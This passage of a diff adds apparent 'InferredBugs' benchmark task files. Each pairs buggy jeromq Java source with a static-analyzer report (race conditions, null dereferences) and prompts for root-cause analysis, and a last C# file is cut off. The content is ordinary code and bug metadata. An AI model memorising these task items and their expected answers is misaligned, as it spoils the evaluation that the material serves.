+
+    0MQ is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+package zmq;
+
+import java.nio.channels.SelectableChannel;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+//import org.slf4j.Logger;
+//import org.slf4j.LoggerFactory;
+
+public class Mailbox {
+
+    //private static Logger LOG = LoggerFactory.getLogger(Mailbox.class);
+    
+    //  The pipe to store actual commands.
+    private final YPipe<Command> cpipe;
+
+    //  Signaler to pass signals from writer thread to reader thread.
+    private final Signaler signaler;
+
+    //  There's only one thread receiving from the mailbox, but there
+    //  is arbitrary number of threads sending. Given that ypipe requires
+    //  synchronised access on both of its endpoints, we have to synchronise
+    //  the sending side.
+    private final Lock sync;
+
+    //  True if the underlying pipe is active, ie. when we are allowed to
+    //  read commands from it.
+    private boolean active;
+    
+    // mailbox name, for better debugging
+    private final String name;
+
+    public Mailbox(String name_) {
+        cpipe = new YPipe<Command>(Command.class, Config.command_pipe_granularity.getValue());
+        sync = new ReentrantLock();
+        signaler = new Signaler();
+        
+        //  Get the pipe into passive state. That way, if the users starts by
+        //  polling on the associated file descriptor it will get woken up when
+        //  new command is posted.
+        
+        Command cmd = cpipe.read ();
+        assert (cmd == null);
+        active = false;
+        
+        name = name_;
+    }
+    
+
+    
+    public SelectableChannel get_fd ()
+    {
+        return signaler.get_fd ();
+    }
+    
+    public void send (final Command cmd_)
+    {   
+        boolean ok = false;
+        sync.lock ();
+        try {
+            cpipe.write (cmd_, false);
+            ok = cpipe.flush ();
+        } finally {
+            sync.unlock ();
+        }
+        
+        //if (LOG.isDebugEnabled())
+        //    LOG.debug( "{} -> {} / {} {}", new Object[] { Thread.currentThread().getName(), cmd_, cmd_.arg , !ok});
+        
+        if (!ok) {
+            signaler.send ();
+        }
+    }
+    
+    public Command recv (long timeout_)
+    {
+        Command cmd_ = null;
+        //  Try to get the command straight away.
+        if (active) {
+            cmd_ = cpipe.read ();
+            if (cmd_ != null) {
+                
+                return cmd_;
+            }
+
+            //  If there are no more commands available, switch into passive state.
+            active = false;
+            signaler.recv ();
+        }
+
+
+        //  Wait for signal from the command sender.
+        boolean rc = signaler.wait_event (timeout_);
+        if (!rc)
+            return null;
+
+        assert (rc);
+        //  We've got the signal. Now we can switch into active state.
+        active = true;
+
+        //  Get a command.
+        cmd_ = cpipe.read ();
+        assert (cmd_ != null);
+        
+        return cmd_;
+    }
+
+    public void close () {
+        signaler.close();
+    }
+    
+    @Override
+    public String toString() {
+        return super.toString() + "[" + name + "]";
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `zmq.Mailbox.recv` indirectly reads without synchronization from `this.zmq.Mailbox.signaler.zmq.Signaler.wcursor`. Potentially races with write in method `Mailbox.send(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Command Mailbox.recv(long)
+
+### Procedure Id:
+zmq.Mailbox.recv(long):zmq.Command.ccc4da9d964c641f8094ff4145de8316
+
+### File:
+src/main/java/zmq/Mailbox.java
+
+### Key:
+Mailbox.java|recv|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+abac59327078d6a6c06de8e13a0d44d4
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11160/instruction.md b/inferredbugs-11160/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fe7e3e21cea835157777322db4b5ffd874b7b6d3
--- /dev/null
+++ b/inferredbugs-11160/instruction.md
@@ -0,0 +1,402 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jeromq
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.zeromq;
+
+import java.io.Closeable;
+import java.nio.channels.Selector;
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+import org.zeromq.ZMQ.Context;
+import org.zeromq.ZMQ.Poller;
+import org.zeromq.ZMQ.Socket;
+
+/**
+ * ZContext provides a high-level ZeroMQ context management class
+ *
+ * It manages open sockets in the context and automatically closes these before terminating the context.
+ * It provides a simple way to set the linger timeout on sockets, and configure contexts for number of I/O threads.
+ * Sets-up signal (interrupt) handling for the process.
+ *
+ */
+
+public class ZContext implements Closeable
+{
+    /**
+     * Reference to underlying Context object
+     */
+    private Context context;
+
+    /**
+     * List of sockets managed by this ZContext
+     */
+    private final List<Socket> sockets;
+
+    /**
+     * Number of io threads allocated to this context, default 1
+     */
+    private final int ioThreads;
+
+    /**
+     * Indicates if context object is owned by main thread
+     * (useful for multi-threaded applications)
+     */
+    private final boolean main;
+
+    /**
+     * Linger timeout, default 0
+     */
+    private int linger;
+
+    /**
+     * Send/receive HWM for pipes
+     */
+    private int pipehwm;
+
+    /**
+     * ZMQ_SNDHWM for normal sockets
+     */
+    private int sndhwm;
+
+    /**
+     * ZMQ_RCVHWM for normal sockets
+     */
+    private int rcvhwm;
+
+    /**
+     * Make ZContext threadsafe
+     */
+    private final Lock mutex;
+
+    /**
+     * Class Constructor
+     */
+    public ZContext()
+    {
+        this(1);
+    }
+
+    public ZContext(int ioThreads)
+    {
+        this(null, true, ioThreads);
+    }
+
+    private ZContext(Context context, boolean main, int ioThreads)
+    {
+        this.sockets = new CopyOnWriteArrayList<>();
+        this.mutex = new ReentrantLock();
+        this.context = context;
+        this.ioThreads = ioThreads;
+        this.main = main;
+        this.linger = 0;
+        this.pipehwm = 1000;
+        this.sndhwm = 1000;
+        this.rcvhwm = 1000;
+    }
+
+    /**
+     * Destructor.  Call this to gracefully terminate context and close any managed 0MQ sockets
+     */
+    public void destroy()
+    {
+        for (Socket socket : sockets) {
+            destroySocket(socket);
+        }
+        sockets.clear();
+        // Only terminate context if we are on the main thread
+        if (isMain() && context != null) {
+            context.term();
+            context = null;
+        }
+    }
+
+    /**
+     * Creates a new managed socket within this ZContext instance.
+     * Use this to get automatic management of the socket at shutdown
+     * @param type
+     *          socket type (see ZMQ static class members)
+     * @return
+     *          Newly created Socket object
+     */
+    public Socket createSocket(int type)
+    {
+        // Create and register socket
+        Socket socket = getContext().socket(type);
+        socket.setRcvHWM(this.rcvhwm);
+        socket.setSndHWM(this.sndhwm);
+        try {
+            mutex.lock();
+            sockets.add(socket);
+        }
+        finally {
+            mutex.unlock();
+        }
+        return socket;
+    }
+
+    /**
+     * Destroys managed socket within this context
+     * and remove from sockets list
+     * @param s
+     *          org.zeromq.Socket object to destroy
+     */
+    public void destroySocket(Socket s)
+    {
+        if (s == null) {
+            return;
+        }
+        s.setLinger(linger);
+        s.close();
+        try {
+            mutex.lock();
+            this.sockets.remove(s);
+        }
+        finally {
+            mutex.unlock();
+        }
+    }
+
+    public Selector createSelector()
+    {
+        return getContext().selector();
+    }
+
+    public Poller createPoller(int size)
+    {
+        return new Poller(getContext(), size);
+    }
+
+    /**
+     * Creates new shadow context.
+     * Shares same underlying org.zeromq.Context instance but has own list
+     * of managed sockets, io thread count etc.
+     * @param ctx   Original ZContext to create shadow of
+     * @return  New ZContext
+     */
+    public static ZContext shadow(ZContext ctx)
+    {
+        ZContext context = new ZContext(ctx.getContext(), false, ctx.ioThreads);
+        context.linger = ctx.linger;
+        context.sndhwm = ctx.sndhwm;
+        context.rcvhwm = ctx.rcvhwm;
+        context.pipehwm = ctx.pipehwm;
+        return context;
+    }
+
+    /**
+     * @return the ioThreads
+     */
+    public int getIoThreads()
+    {
+        return ioThreads;
+    }
+
+    /**
+     * @param ioThreads the number of ioThreads to set
+     * @deprecated This value should not be changed after the context is initialized.
+     */
+    @Deprecated
+    public void setIoThreads(int ioThreads)
+    {
+        return;
+    }
+
+    /**
+     * @return the linger
+     */
+    public int getLinger()
+    {
+        return linger;
+    }
+
+    /**
+     * @param linger the linger to set
+     */
+    public void setLinger(int linger)
+    {
+        try {
+            mutex.lock();
+            this.linger = linger;
+        }
+        finally {
+            mutex.unlock();
+        }
+    }
+
+    /**
+     * Set initial receive HWM for all new normal sockets created in context.
+     * You can set this per-socket after the socket is created.
+     * The default, no matter the underlying ZeroMQ version, is 1,000.
+     * @param rcvhwm the rcvhwm
+     */
+    public void setRcvHWM(int rcvhwm)
+    {
+        try {
+            mutex.lock();
+            this.rcvhwm = rcvhwm;
+        }
+        finally {
+            mutex.unlock();
+        }
+    }
+
+    /**
+     * Set initial receive HWM for all new normal sockets created in context.
+     * You can set this per-socket after the socket is created.
+     * The default, no matter the underlying ZeroMQ version, is 1,000.
+     * @param sndhwm the sndhwm
+     */
+    public void setSndHWM(int sndhwm)
+    {
+        try {
+            mutex.lock();
+            this.sndhwm = sndhwm;
+        }
+        finally {
+            mutex.unlock();
+        }
+    }
+    /**
+     * @return the main
+     */
+    public boolean isMain()
+    {
+        return main;
+    }
+
+    /**
+     * @param main whether or not the context is being set to main
+     * @deprecated This value should not be changed after the context is initialized.
+     */
+    @Deprecated
+    public void setMain(boolean main)
+    {
+        return;
+    }
+
+    /**
+     * @return the context
+     */
+    public Context getContext()
+    {
+        try {
+            mutex.lock();
+            if (this.context == null) {
+                this.context = ZMQ.context(this.ioThreads);
+            }
+        }
+        finally {
+            mutex.unlock();
+        }
+        return this.context;
+    }
+
+    /**
+     * @param ctx sets the underlying zmq.Context associated with this ZContext wrapper object
+     * @deprecated This value should not be changed after the ZContext is initialized.
+     */
+    @Deprecated
+    public void setContext(Context ctx)
+    {
+        return;
+    }
+
+    /**
+     * @return the sockets
+     */
+    public List<Socket> getSockets()
+    {
+        return sockets;
+    }
+
+    @Override
+    public void close()
+    {
+        destroy();
+    }
+
+    public boolean isClosed()
+    {
+        synchronized (this) {
+            if (context == null) {
+                return true;
+            }
+            return context.isClosed();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.zeromq.ZContext.destroy` reads without synchronization from `this.org.zeromq.ZContext.context`. Potentially races with write in method `ZContext.getContext()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ZContext.destroy()
+
+### Procedure Id:
+org.zeromq.ZContext.destroy():void.4999bab718cfade53cdd45c591a6a11e
+
+### File:
+src/main/java/org/zeromq/ZContext.java
+
+### Key:
+ZContext.java|destroy|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+f5cda1bff3ac7019de85eb282b1888b5
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11167/instruction.md b/inferredbugs-11167/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e21e57256a866b41e6b2b356fed6fd26067396c9
--- /dev/null
+++ b/inferredbugs-11167/instruction.md
@@ -0,0 +1,464 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jeromq
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+    Copyright (c) 2012 iMatix Corporation
+    Copyright (c) 2009-2011 250bpm s.r.o.
+    Copyright (c) 2011 VMware, Inc.
+    Copyright (c) 2007-2011 Other contributors as noted in the AUTHORS file
+
+    This file is part of 0MQ.
+        
+    0MQ is free software; you can redistribute it and/or modify it under
+    the terms of the GNU Lesser General Public License as published by
+    the Free Software Foundation; either version 3 of the License, or
+    (at your option) any later version.
+    
+    0MQ is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU Lesser General Public License for more details.
+        
+    You should have received a copy of the GNU Lesser General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+package zmq;
+
+import java.nio.ByteBuffer;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+//TODO: This class uses O(n) scheduling. Rewrite it to use O(1) algorithm.
+public class Router extends SocketBase {
+
+    public static class RouterSession extends SessionBase {
+        public RouterSession(IOThread io_thread_, boolean connect_,
+            SocketBase socket_, final Options options_,
+            final Address addr_) {
+            super(io_thread_, connect_, socket_, options_, addr_);
+        }
+    }
+    
+    //  Fair queueing object for inbound pipes.
+    private final FQ fq;
+
+    //  True iff there is a message held in the pre-fetch buffer.
+    private boolean prefetched;
+
+    //  If true, the receiver got the message part with
+    //  the peer's identity.
+    private boolean identity_sent;
+
+    //  Holds the prefetched identity.
+    private Msg prefetched_id;
+
+    //  Holds the prefetched message.
+    private Msg prefetched_msg;
+
+    //  If true, more incoming message parts are expected.
+    private boolean more_in;
+
+    class Outpipe
+    {
+        private Pipe pipe;
+        private boolean active;
+        
+        public Outpipe(Pipe pipe_, boolean active_) {
+            pipe = pipe_;
+            active = active_;
+        }
+    };
+
+    //  We keep a set of pipes that have not been identified yet.
+    private final Set <Pipe> anonymous_pipes;
+
+    //  Outbound pipes indexed by the peer IDs.
+    private final Map <Blob, Outpipe> outpipes;
+
+    //  The pipe we are currently writing to.
+    private Pipe current_out;
+
+    //  If true, more outgoing message parts are expected.
+    private boolean more_out;
+
+    //  Peer ID are generated. It's a simple increment and wrap-over
+    //  algorithm. This value is the next ID to use (if not used already).
+    private int next_peer_id;
+
+    // If true, report EHOSTUNREACH to the caller instead of silently dropping 
+    // the message targeting an unknown peer.
+    private boolean mandatory;
+
+    
+    public Router(Ctx parent_, int tid_, int sid_) {
+        super(parent_, tid_, sid_);
+        prefetched = false;
+        identity_sent = false;
+        more_in = false;
+        current_out = null;
+        more_out = false;
+        next_peer_id = Utils.generate_random (); 
+        mandatory = false;
+        
+        options.type = ZMQ.ZMQ_ROUTER;
+        
+        
+        fq = new FQ();
+        prefetched_id = new Msg();
+        prefetched_msg = new Msg();
+        
+        anonymous_pipes = new HashSet<Pipe>();
+        outpipes = new HashMap<Blob, Outpipe>();
+        
+        //  TODO: Uncomment the following line when ROUTER will become true ROUTER
+        //  rather than generic router socket.
+        //  If peer disconnect there's noone to send reply to anyway. We can drop
+        //  all the outstanding requests from that peer.
+        //  options.delay_on_disconnect = false;
+            
+        options.recv_identity = true;
+            
+    }
+
+
+    
+    @Override
+    public void xattach_pipe(Pipe pipe_, boolean icanhasall_) {
+        assert (pipe_ != null);
+
+        boolean identity_ok = identify_peer (pipe_);
+        if (identity_ok)
+            fq.attach (pipe_);
+        else
+            anonymous_pipes.add (pipe_);
+    }
+    
+    @Override
+    public boolean xsetsockopt (int option_, Object optval_)
+    {
+        if (option_ != ZMQ.ZMQ_ROUTER_MANDATORY) {
+            return false;
+        }
+        mandatory = (Integer) optval_ == 1;
+        return true;
+    }
+
+
+    @Override
+    public void xterminated(Pipe pipe_) {
+        if (!anonymous_pipes.remove(pipe_)) {
+            
+            Outpipe old = outpipes.remove(pipe_.get_identity());
+            assert(old != null);
+
+            fq.terminated (pipe_);
+            if (pipe_ == current_out)
+                current_out = null;
+        }
+    }
+    
+    @Override
+    public void xread_activated (Pipe pipe_)
+    {
+        if (!anonymous_pipes.contains(pipe_)) 
+            fq.activated (pipe_);
+        else {
+            boolean identity_ok = identify_peer (pipe_);
+            if (identity_ok) {
+                anonymous_pipes.remove(pipe_);
+                fq.attach (pipe_);
+            }
+        }
+    }
+    
+    @Override
+    public void xwrite_activated (Pipe pipe_)
+    {
+        for (Map.Entry<Blob, Outpipe> it: outpipes.entrySet()) {
+            if (it.getValue().pipe == pipe_) {
+                assert (!it.getValue().active);
+                it.getValue().active = true;
+                break;
+            }
+        }
+        assert (false);
+    }
+    
+    @Override
+    protected boolean xsend(Msg msg_)
+    {
+        //  If this is the first part of the message it's the ID of the
+        //  peer to send the message to.
+        if (!more_out) {
+            assert (current_out == null);
+
+            //  If we have malformed message (prefix with no subsequent message)
+            //  then just silently ignore it.
+            //  TODO: The connections should be killed instead.
+            if (msg_.has_more()) {
+
+                more_out = true;
+
+                //  Find the pipe associated with the identity stored in the prefix.
+                //  If there's no such pipe just silently ignore the message, unless
+                //  mandatory is set.
+                Blob identity = new Blob(msg_.data());
+                Outpipe op = outpipes.get(identity);
+
+                if (op != null) {
+                    current_out = op.pipe;
+                    if (!current_out.check_write ()) {
+                        op.active = false;
+                        current_out = null;
+                        if (mandatory) {
+                            more_out = false;
+                            errno.set(ZError.EAGAIN);
+                            return false;
+                        }
+                    }
+                } else if (mandatory) {
+                    more_out = false;
+                    errno.set(ZError.EHOSTUNREACH);
+                    return false;
+                }
+            }
+
+            return true;
+        }
+
+        //  Check whether this is the last part of the message.
+        more_out = msg_.has_more();
+
+        //  Push the message into the pipe. If there's no out pipe, just drop it.
+        if (current_out != null) {
+            boolean ok = current_out.write (msg_);
+            if (!ok)
+                current_out = null;
+            else if (!more_out) {
+                current_out.flush ();
+                current_out = null;
+            }
+        }
+
+        return true;
+    }
+
+
+    @Override
+    protected Msg xrecv()
+    {
+        Msg msg_ = null;
+        if (prefetched) {
+            if (!identity_sent) {
+                msg_ = prefetched_id;
+                prefetched_id = null;
+                identity_sent = true;
+            }
+            else {
+                msg_ = prefetched_msg;
+                prefetched_msg = null;
+                prefetched = false;
+            }
+            more_in = msg_.has_more();
+            return msg_;
+        }
+
+        ValueReference<Pipe> pipe = new ValueReference<Pipe>();
+        msg_ = fq.recvpipe(errno, pipe);
+        
+        //  It's possible that we receive peer's identity. That happens
+        //  after reconnection. The current implementation assumes that
+        //  the peer always uses the same identity.
+        //  TODO: handle the situation when the peer changes its identity.
+        while (msg_ != null && msg_.is_identity())
+            msg_ = fq.recvpipe(errno, pipe);
+
+        if (msg_ == null)
+            return null;
+
+        assert (pipe.get() != null);
+
+        //  If we are in the middle of reading a message, just return the next part.
+        if (more_in)
+            more_in = msg_.has_more();
+        else {
+            //  We are at the beginning of a message.
+            //  Keep the message part we have in the prefetch buffer
+            //  and return the ID of the peer instead.
+            prefetched_msg = msg_;
+            prefetched = true;
+
+            Blob identity = pipe.get().get_identity();
+            msg_ = new Msg(identity.data());
+            msg_.set_flags(Msg.more);
+            identity_sent = true;
+        }
+
+        return msg_;
+    }
+    
+    //  Rollback any message parts that were sent but not yet flushed.
+    protected void rollback () {
+        
+        if (current_out != null) {
+            current_out.rollback ();
+            current_out = null;
+            more_out = false;
+        }
+    }
+    
+    @Override
+    protected boolean xhas_in ()
+    {
+        //  If we are in the middle of reading the messages, there are
+        //  definitely more parts available.
+        if (more_in)
+            return true;
+
+        //  We may already have a message pre-fetched.
+        if (prefetched)
+            return true;
+
+        //  Try to read the next message.
+        //  The message, if read, is kept in the pre-fetch buffer.
+        ValueReference<Pipe> pipe = new ValueReference<Pipe>();
+        prefetched_msg = fq.recvpipe(errno, pipe);
+
+        //  It's possible that we receive peer's identity. That happens
+        //  after reconnection. The current implementation assumes that
+        //  the peer always uses the same identity.
+        //  TODO: handle the situation when the peer changes its identity.
+        while (prefetched_msg != null && prefetched_msg.is_identity ())
+            prefetched_msg = fq.recvpipe(errno, pipe);
+
+        if (prefetched_msg == null)
+            return false;
+
+        assert (pipe.get() != null);
+        
+        Blob identity = pipe.get().get_identity();
+        prefetched_id = new Msg(identity.data());
+        prefetched_id.set_flags (Msg.more);
+
+        prefetched = true;
+        identity_sent = false;
+
+        return true;
+    }
+
+    @Override
+    protected boolean xhas_out ()
+    {
+        //  In theory, ROUTER socket is always ready for writing. Whether actual
+        //  attempt to write succeeds depends on whitch pipe the message is going
+        //  to be routed to.
+        return true;
+    }
+
+    private boolean identify_peer(Pipe pipe_)
+    {
+        Blob identity;
+
+        Msg msg = pipe_.read();
+        if (msg == null)
+            return false;
+
+        if (msg.size () == 0) {
+            //  Fall back on the auto-generation
+            ByteBuffer buf = ByteBuffer.allocate(5);
+            buf.put((byte)0);
+            buf.putInt (next_peer_id++);
+            buf.flip();
+            identity = new Blob(buf);
+        }
+        else {
+            identity = new Blob(msg.data ());
+
+            //  Ignore peers with duplicate ID.
+            if (outpipes.containsKey(identity))
+                return false;
+        }
+
+        pipe_.set_identity (identity);
+        //  Add the record into output pipes lookup table
+        Outpipe outpipe = new Outpipe(pipe_, true);
+        outpipes.put (identity, outpipe);
+
+        return true;
+    }
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `msg_.data()` could be null and is dereferenced by call to `Blob(...)` at line 204.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean Router.xsend(Msg)
+
+### Procedure Id:
+zmq.Router.xsend(zmq.Msg):boolean.723b35f81c963e91028df62c7ca9dfbe
+
+### File:
+src/main/java/zmq/Router.java
+
+### Key:
+Router.java|xsend|NULL_DEREFERENCE
+
+### Node Key:
+0968bf39be2b03b8a96ca936f7302727
+
+### Hash:
+cb3c15ece349bf1e1149cf044dc36e72
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11169/instruction.md b/inferredbugs-11169/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..333c2f43f8dab02b6d0d46fbc9a88fa8a67b1734
--- /dev/null
+++ b/inferredbugs-11169/instruction.md
@@ -0,0 +1,230 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jeromq
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+    Copyright (c) 2010-2011 250bpm s.r.o.
+    Copyright (c) 2007-2009 iMatix Corporation
+    Copyright (c) 2011 VMware, Inc.
+    Copyright (c) 2007-2011 Other contributors as noted in the AUTHORS file
+
+    This file is part of 0MQ.
+
+    0MQ is free software; you can redistribute it and/or modify it under
+    the terms of the GNU Lesser General Public License as published by
+    the Free Software Foundation; either version 3 of the License, or
+    (at your option) any later version.
+
+    0MQ is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+package zmq;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LB {
+
+    //  List of outbound pipes.
+    private final List<Pipe> pipes;
+    
+    //  Number of active pipes. All the active pipes are located at the
+    //  beginning of the pipes array.
+    private int active;
+
+    //  Points to the last pipe that the most recent message was sent to.
+    private int current;
+
+    //  True if last we are in the middle of a multipart message.
+    private boolean more;
+
+    //  True if we are dropping current message.
+    private boolean dropping;
+    
+    //  List operations
+    private int start;
+    
+    public LB() {
+        active = 0;
+        current = 0;
+        more = false;
+        dropping = false;
+        
+        start = 0;
+        pipes = new ArrayList<Pipe>();
+    }
+
+    public void attach(Pipe pipe_) {
+        pipes.add (pipe_);
+        Utils.swap (pipes, active, pipes.size () - 1);
+        active++;   
+    }
+
+    public void terminated(Pipe pipe_) {
+        int index = pipes.indexOf (pipe_);
+
+        //  If we are in the middle of multipart message and current pipe
+        //  have disconnected, we have to drop the remainder of the message.
+        if (index == current && more)
+            dropping = true;
+
+        //  Remove the pipe from the list; adjust number of active pipes
+        //  accordingly.
+        if (index >= start && index < active) {
+            active--;
+            Utils.swap (pipes, index, active);
+            index = active;
+            if (current == active)
+                current = start;
+        }
+        pipes.remove (index);
+
+    }
+
+    public void activated(Pipe pipe_) {
+        //  Move the pipe to the list of active pipes.
+        Utils.swap (pipes, pipes.indexOf (pipe_), active);
+        active++;
+    }
+
+    public boolean send(Msg msg_, int flags_) {
+        //  Drop the message if required. If we are at the end of the message
+        //  switch back to non-dropping mode.
+        if (dropping) {
+
+            more = msg_.has_more();
+            dropping = more;
+
+            msg_.close ();
+            return true;
+        }
+
+        Pipe pipe = null;
+        while (active > start) {
+            pipe = pipes.get(current);
+            if (pipe.write (msg_))
+                break;
+
+            assert (!more);
+            current++;
+            start = current;
+            if (current == active)
+                current = start = active = 0;
+        }
+
+        //  If there are no pipes we cannot send the message.
+        if (active == start) {
+            ZError.errno(ZError.EAGAIN);
+            return false;
+        }
+
+        //  If it's final part of the message we can fluch it downstream and
+        //  continue round-robinning (load balance).
+        more = msg_.has_more();
+        if (!more) {
+            pipe.flush ();
+            current++;
+            if (current == active)
+                current = start;
+        }
+
+        return true;
+    }
+
+    public boolean has_out() {
+        //  If one part of the message was already written we can definitely
+        //  write the rest of the message.
+        if (more)
+            return true;
+
+        while (active > start) {
+
+            //  Check whether a pipe has room for another message.
+            if (pipes.get(current).check_write ())
+                return true;
+
+            //  Deactivate the pipe.
+            current++;
+            start = current;
+            if (current == active)
+                current = start = active = 0;
+        }
+
+        return false;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `pipe` last assigned on line 103 could be null and is dereferenced at line 126.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean LB.send(Msg,int)
+
+### Procedure Id:
+zmq.LB.send(zmq.Msg,int):boolean.6b74f06c33904287cb1a9d04cf8155b3
+
+### File:
+src/main/java/zmq/LB.java
+
+### Key:
+LB.java|send|NULL_DEREFERENCE
+
+### Node Key:
+f57126dadf1f943efbc6313b0cf19d84
+
+### Hash:
+58908b22d92d270e310d9387a2a70f0d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1163/instruction.md b/inferredbugs-1163/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4eb18820dd263c224722a6fd4ea5298a136abacf
--- /dev/null
+++ b/inferredbugs-1163/instruction.md
@@ -0,0 +1,415 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Cpp2IL
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Text;
+using LibCpp2IL.BinaryStructures;
+using LibCpp2IL.Logging;
+
+namespace LibCpp2IL.Metadata
+{
+    public class Il2CppMetadata : ClassReadingBinaryReader
+    {
+        //Disable null check as this stuff is reflected.
+#pragma warning disable 8618
+        private Il2CppGlobalMetadataHeader metadataHeader;
+        public Il2CppImageDefinition[] imageDefinitions;
+        public Il2CppTypeDefinition[] typeDefs;
+        internal Il2CppInterfaceOffset[] interfaceOffsets;
+        public uint[] VTableMethodIndices;
+        public Il2CppMethodDefinition[] methodDefs;
+        public Il2CppParameterDefinition[] parameterDefs;
+        public Il2CppFieldDefinition[] fieldDefs;
+        private Il2CppFieldDefaultValue[] fieldDefaultValues;
